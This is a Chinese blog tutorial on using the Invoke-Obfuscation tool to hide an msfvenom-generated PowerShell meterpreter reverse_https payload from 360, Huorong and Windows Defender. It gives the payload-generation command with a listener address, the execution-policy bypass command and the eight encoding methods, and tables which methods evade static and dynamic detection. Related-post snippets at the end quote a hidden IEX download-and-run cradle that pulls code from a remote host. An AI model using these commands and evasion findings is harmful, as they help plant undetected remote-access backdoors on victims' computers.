Invoke-Obfuscation混淆免杀过360和火绒

最新推荐文章于 2025-11-12 05:30:57 发布
原创 最新推荐文章于 2025-11-12 05:30:57 发布 · 2.2k 阅读 · 16 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#免杀 #免杀360 #免杀火绒 #powershell混淆 #安全

微信公众号：乌鸦安全 

图片

扫取二维码获取更多信息！

 

更新时间：2021-05-31

Invoke-Obfuscation下载地址：https://github.com/danielbohannon/Invoke-Obfuscation

参考文档 https://blog.youkuaiyun.com/weixin_44216796/article/details/112723993

先说下结果：

Invoke-Obfuscation的Encoding部分方法混淆可以过360和火绒，但是过不了Windows Defender

1. 模块使用

导入模块

Import-Module C:\0_poweshell\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1

这里注意，一定要写上完整路径，不然会报错

加载模块

Invoke-Obfuscation

 

支持的加密方法：

  • TOKEN支持分部分混淆
STRING整条命令混淆
COMPRESS将命令转为单行并压缩，
ENCODING编码
LAUNCHER选择执行方式

     

2. msfvenom下msf上线

 

首先用msfvenom生成一个ps1文件

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1

 

然后设置监听：

然后回到win10

2.1 360

直接在有360的环境下进行执行（这里不做云查杀和杀毒的操作）

PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1

 

上线成功。

这里来一次查杀，首先使用按位置查杀

 

 

 

报毒，直接在这个位置关闭，不处理

 

再运行一次，此时360提示有毒。

2.2 Windows defender

 

复制到Windows sever2019下，Windows Defender直接杀掉

2.3 火绒

关掉Windows Defender

 

 

 

直接使用火绒扫描，没扫描到。

上线试试：

 

 

直接就上线了！！！

2.4 总结

因此在此可以进行如下总结：

msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在静态下的查杀效果：

 

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

✔️

未测

❌

ps：以上环境都联网状态下

 

同样

msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在动态执行上线的查杀效果：

 

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

✔️

未测

❌

ps：以上环境都联网，且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。

 

这里可以看到，360在第一次并不拦截，而且还可以上线，这可能由于我用的是虚拟机，如果是实体机的话，应该会被杀。

 

3. 混淆大法

 

设置需要混淆的木马文件路径

 set scriptpath C:\0_poweshell\msf-crow.ps1

 

4. 第一种混淆 1

encoding

选择第一种方法混淆

1

将文件输出的out 1.ps1

 

文件路径：

C:\0_poweshell\Invoke-Obfuscation-master\1.ps1

攻击机开启监听模式：

上线测试：

4.1 360

 

在360环境下直接运行（生成之后没有杀毒扫描）

PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\1.ps1

 

这里是在cmd命令行下执行PowerShell命令的

-ExecutionPolicy Bypass：绕过执行安全策略，在默认情况下，PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则。在渗透测试中，基本每一次运行PowerShell脚本时都要使用这个参数。（参考：https://blog.youkuaiyun.com/Eastmount/article/details/115503946）

 

360下上线成功

 

但使用360云查杀之后显示报毒：

4.2 windows Defender

windows Defender 直接静态被杀

4.3 火绒

火绒，静态扫描报毒

动态上线失败

4.4 总结

静态查杀

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

❌

未测

❌

全挂。。。

5. 第2种混淆 2

 

 

这里先静态测试下：

5.1 火绒

 

火绒：

 

 

5.2 360

360云查杀

 

 

5.3 Windows Defender

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

❌

未测

✔️

 

动态上线能力：

PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\2.ps1

 

火绒：

静态查杀，动态上线失败

 

windf：

静态查杀正常，动态上线失败

 

360：

动态上线失败，而且清除了木马，因此这里360也是静动均查杀了木马

此时对其进行重新调整：

 

5.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

❌

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

❌

未测

❌

6. 第三种方法 3

 

6.1 360

 

动态上线测试

再次云查杀

 

6.2 火绒

 

 

6.3 windows Defender

静态正常

动态：失败

6.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

❌

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

❌

未测

❌

7. 第四种方法 4

7.1 360

 

上线测试

 

7.2 火绒

 

动态正常

 

 

 

 

7.3 windows Defender

静态过了

 

动态上线失败

7.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

8. 第五种方法 5

 

 

现在验证下各种查杀

 

8.1 360

 

动态上线

 

8.2 火绒

 

8.3 window defender

 

 

都报错，那再生成一次，这次报错更多了

 

8.4 总结

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

运行报错

未测

windows server 2019 64位

运行报错

未测

运行报错

 

9. 第6种方法 6

 

 

9.1 360

 

 

动态上线测试，上线正常

再杀一次，还是正常

 

9.2 火绒

 

 

9.3 window defender

9.4 总结

 

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

 

10. 第七种方法 7

 

10.1 360

 

 

动态上线测试，win10下的powershell崩掉，应该是由于字符太大的原因

 

 

10.2 火绒

 

动态上线测试：

 

10.3 window defender

由于脚本无法在我的win10下测试，这里到winserver2019上进行测试，开启Windows defender防护

上线失败

 

 

 

 

10.4 总结

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

11. 第八种方法 8

11.1 360

 

 

11.2 火绒

 

 

 

 

 

11.3 window defender

 

 

11.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

 

12. 总结

12.1 版本问题

环境：

Windows10 x64 + 360

 

winserver2019 x64 + 火绒

 

windows Defender最新版本

12.2 查杀问题

火绒，360，Windows defender均采用联网查杀，其中360采用云杀毒模式

 

12.3 bypass av能力总结

msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果：

 

 

 

msfvenom最新版（2021-05-28安装）

火绒

360

Windows Defender

windows 10 64位

msfvenom最新版（2021-05-28安装）

未测

❌

未测

windows server 2019 64位

msfvenom最新版（2021-05-28安装）

✔️

未测

❌

 

 

方法1: ASCII

火绒

360

Windows Defender

windows 10 64位

方法1: ASCII

未测

❌

未测

windows server 2019 64位

方法1: ASCII

❌

未测

❌

 

方法2: Hex

火绒

360

Windows Defender

windows 10 64位

方法2: Hex

未测

✔️

未测

windows server 2019 64位

方法2: Hex

❌

未测

✔️

 

方法3: Octal

火绒

360

Windows Defender

windows 10 64位

方法3: Octal

未测

✔️

未测

windows server 2019 64位

方法3: Octal

❌

未测

✔️

 

方法4: Binary

火绒

360

Windows Defender

windows 10 64位

方法4: Binary

未测

✔️

未测

windows server 2019 64位

方法4: Binary

✔️

未测

✔️

 

方法5: SecureString (AES)

火绒

360

Windows Defender

windows 10 64位

方法5: SecureString (AES)

未测

✔️

未测

windows server 2019 64位

方法5: SecureString (AES)

✔️

未测

✔️

 

方法6: BXOR

火绒

360

Windows Defender

windows 10 64位

方法6: BXOR

未测

✔️

未测

windows server 2019 64位

方法6: BXOR

✔️

未测

❌

 

方法7: Special Characters

火绒

360

Windows Defender

windows 10 64位

方法7: Special Characters

未测

✔️

未测

windows server 2019 64位

方法7: Special Characters

✔️

未测

✔️

 

方法8: Whitespace

火绒

360

Windows Defender

windows 10 64位

方法8: Whitespace

未测

✔️

未测

windows server 2019 64位

方法8: Whitespace

✔️

未测

✔️

ps：以上环境都联网状态下，360采用云查杀

 

 

同样

msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的动态上线查杀效果：

 

 

 

msfvenom最新版（2021-05-28安装）

火绒

360

Windows Defender

windows 10 64位

msfvenom最新版（2021-05-28安装）

未测

❌

未测

windows server 2019 64位

msfvenom最新版（2021-05-28安装）

✔️

未测

❌

 

方法1: ASCII

火绒

360

Windows Defender

windows 10 64位

方法1: ASCII

未测

❌

未测

windows server 2019 64位

方法1: ASCII

❌

未测

❌

 

方法2: Hex

火绒

360

Windows Defender

windows 10 64位

方法2: Hex

未测

❌

未测

windows server 2019 64位

方法2: Hex

❌

未测

❌

 

方法3: Octal

火绒

360

Windows Defender

windows 10 64位

方法3: Octal

未测

✔️

未测

windows server 2019 64位

方法3: Octal

❌

未测

❌

 

方法4: Binary

火绒

360

Windows Defender

windows 10 64位

方法4: Binary

未测

✔️

未测

windows server 2019 64位

方法4: Binary

✔️

未测

❌

 

方法5: SecureString (AES)

火绒

360

Windows Defender

windows 10 64位

方法5: SecureString (AES)

未测

运行报错

未测

windows server 2019 64位

方法5: SecureString (AES)

运行报错

未测

运行报错

 

方法6: BXOR

火绒

360

Windows Defender

windows 10 64位

方法6: BXOR

未测

✔️

未测

windows server 2019 64位

方法6: BXOR

✔️

未测

❌

 

方法7: Special Characters

火绒

360

Windows Defender

windows 10 64位

方法7: Special Characters

未测

✔️

未测

windows server 2019 64位

方法7: Special Characters

✔️

未测

❌

 

方法8: Whitespace

火绒

360

Windows Defender

windows 10 64位

方法8: Whitespace

未测

✔️

未测

windows server 2019 64位

方法8: Whitespace

✔️

未测

❌

ps：以上环境都联网状态下，360采用云查杀

原文地址：https://mp.weixin.qq.com/s/Nvog8OJZXvPKMqJ8MkwNAQ

Invoke-Obfuscation笔记
mingyqf的博客
05-11 1516
坑点：window11不行，放到虚拟机win10 就行了 步骤： Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation
PowerShell木马免杀利器: Invoke-Obfuscation(过火绒)
xf555er的博客
01-07 2952
Invoke-Obfuscation工具下载地址: https://github.com/danielbohannon/Invoke-ObfuscationInvoke-Obfuscation是一款PowerShell混淆工具，可以将PowerShell脚本加密，使得它的检测和分析变得更加困难。该工具包含多种加密方法，可以单独使用也可以结合使用，以提高混淆的效果。
PowerShell混淆神器Invoke-Obfuscation详解：从原理到实战
Bruce_xiaowei的博客
09-17 1229
Invoke-Obfuscation是一款强大的PowerShell代码混淆工具，由Daniel Bohannon开发，主要用于安全研究和测试。该工具提供六种核心混淆技术（TOKEN、AST、STRING、ENCODING、COMPRESS、LAUNCHER），可有效绕过传统安全检测。安装简单，支持多种混淆组合，通过多次混淆和自定义算法可显著提高免杀效果。测试表明其对主流杀软具有较高的绕过率，但需注意部分高级防御系统可能检测到混淆行为。该工具既可用于红队渗透测试，也能帮助蓝队提升防御能力，是PowerShe
利用Invoke-Obfuscation工具进行Powershell恶意脚本免杀
m0_62239233的博客
04-18 1347
记录渗透学习中的实验过程。
Invoke-Obfuscation：一款功能强大的PowerShell代码混淆工具
qq_53058639的博客
07-29 376
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fyOoLh6y-1690608873080)(data:image/gif;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b1JMsAWY-1690608873081)(data:image/gif;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ALyXvPFo-1690608873083)(data:image/gif;因此，Invoke-
Invoke-Obfuscation-Bypass + PS2EXE 绕过主流杀软1
08-03
总的来说，Invoke-Obfuscation-Bypass 和 PS2EXE 的结合使用为绕过杀软提供了可能，但这种做法也提醒我们，网络安全是一个持续的攻防战。安全研究人员必须时刻警惕新的逃避技术，以便及时更新防御策略。同时，对于...
【渗透测试笔记】之【免杀工具——使用Invoke-Obfuscation代码混淆免杀powershell】_yetanotherobfuscator
2401_84969340的博客
05-13 573
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
利用Invoke-Obfuscation混淆ps文件实现上线/VT免杀率3/55
AerYinan的博客
01-12 9792
利用Invoke-Obfuscation混淆ps文件实现上线/VT免杀率3/55
【渗透测试笔记】之【免杀工具——使用Invoke-Obfuscation代码混淆免杀powershell】
AA8j的博客
07-06 2779
0x01 项目地址 https://github.com/danielbohannon/Invoke-Obfuscation 0x02 用法 生成powershell： powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:55556/a'))" 下载并用powershell进入项目目录执行：Import-Module .\Invoke-Obfuscati
安全-火绒剑独立版-直接执行install.bat即可使用
04-07
2024年3月16日 测试 该工具可用. ****************** 不传无用工具 ****************** 火绒剑独立版-直接执行install.bat即可使用。 最新提取版,无需下载火绒或者旧版本。
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 4111
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
【亲测免费】 Invoke-Obfuscation 安装及使用教程
gitblog_00357的博客
08-08 596
在 `Invoke-Obfuscation` 的源代码仓库中，主要的目录和文件包括： - **src** - 包含 `Invoke-Obfuscation.ps1` 和 `Invoke-Obfuscation.psm1` 主要功能脚本。 - **Examples** - 提供了示例脚本来展示如何使用该项目。 - **Tests** - 单元测试用例，用于验证各种obfuscation技术的效果。...
invoke-obfuscation使用遇到的问题及Encoding免杀
Croil的博客
12-25 2195
简单的invoke-obfuscation使用
Invoke-Obfuscation混淆ps文件绕过Windows_Defender
weixin_30443895的博客
02-26 797
前提 powershell只能针对win7之后的系统，之前的win操作系统默认没有安装powershell。 所在目录：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 混淆 1.Cobaltstrike制作ps1后门文件 2.进入Invoke-Obfuscation Import-Module ./Invoke-Ob...
Invoke-Obfuscation 使用教程
gitblog_00312的博客
08-08 687
Invoke-Obfuscation 使用教程 Invoke-ObfuscationPowerShell Obfuscator项目地址:https://gitcode.com/gh_mirrors/in/Invoke-Obfuscation 项目介绍 Invoke-Obfuscation 是一个用于混淆 PowerShell 脚本的工具，旨在帮助用户理解和应用混淆技术，以绕过基于签名的检测机制。...
探索隐蔽的艺术：Invoke-Obfuscation 开源项目解析
最新发布
gitblog_00858的博客
11-12 1011
在网络安全的世界中，攻防战永不停息。攻击者们持续进化他们的工具和技术以逃避检测，而防御者则需不断学习新的方法来应对这些威胁。Invoke-Obfuscation，一个由Daniel Bohannon开发的PowerShell脚本混淆器，就是这样一款帮助蓝队提升检测能力的利器。 ## 项目介绍 Invoke-Obfuscation是一个完全兼容PowerShell 2.0及更高版本的命令和脚本混
kali invoke-obfuscation工具使用
06-10
### 在 Kali Linux 中使用 Invoke-Obfuscation 工具 Invoke-Obfuscation 是一个功能强大的工具，用于混淆 PowerShell 脚本的不同组件，从而绕过防病毒软件和安全检测机制[^1]。以下是关于如何在 Kali Linux 环境中安装和使用 Invoke-Obfuscation 的详细说明。 #### 安装 Invoke-Obfuscation 1. 首先确保 Kali Linux 系统是最新的。可以运行以下命令以更新系统： ```bash apt update && apt upgrade -y ``` 2. 安装 Git 和其他必要的依赖项： ```bash apt install git python3 python3-pip -y ``` 3. 使用 Git 克隆 Invoke-Obfuscation 项目到本地： ```bash git clone https://gitcode.com/gh_mirrors/in/Invoke-PSObfuscation /opt/Invoke-Obfuscation ``` #### 配置与运行 1. 进入克隆的项目目录： ```bash cd /opt/Invoke-Obfuscation ``` 2. 设置脚本的执行权限（如果需要）： ```bash chmod +x *.ps1 ``` 3. 使用 PowerShell 来加载 Invoke-Obfuscation 模块。可以通过以下命令启动 PowerShell 并加载模块： ```powershell powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -File .\invoke-obfuscation.ps1 ``` #### 示例：混淆 PowerShell 脚本 假设需要混淆以下 PowerShell 命令： ```powershell powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/b'))" ``` 可以按照以下步骤进行操作： 1. 加载 Invoke-Obfuscation 模块后，选择不同的混淆技术。例如，使用 `Set-CommandObfuscation` 来设置混淆规则： ```powershell Set-CommandObfuscation -Command "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/b'))" -ObfuscationLevel High ``` 此命令会生成高度混淆的 PowerShell 脚本[^4]。 2. 查看生成的混淆脚本并将其保存到文件中： ```powershell $obfuscatedScript = Get-ObfuscatedCommand $obfuscatedScript | Out-File -FilePath ./obfuscated_script.ps1 ``` #### 测试混淆效果 为了测试混淆后的脚本是否能够成功绕过检测，可以在目标环境中运行生成的脚本，并观察其行为。例如，在 Kali Linux 上模拟受害者服务器的行为[^3]： ```bash python3 -m http.server 8000 ``` ### 注意事项 - 在使用 Invoke-Obfuscation 时，请确保遵守相关法律法规，并仅在授权的情况下进行渗透测试。 - 混淆可能会增加脚本的复杂性，但也可能导致脚本性能下降或兼容性问题。 ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值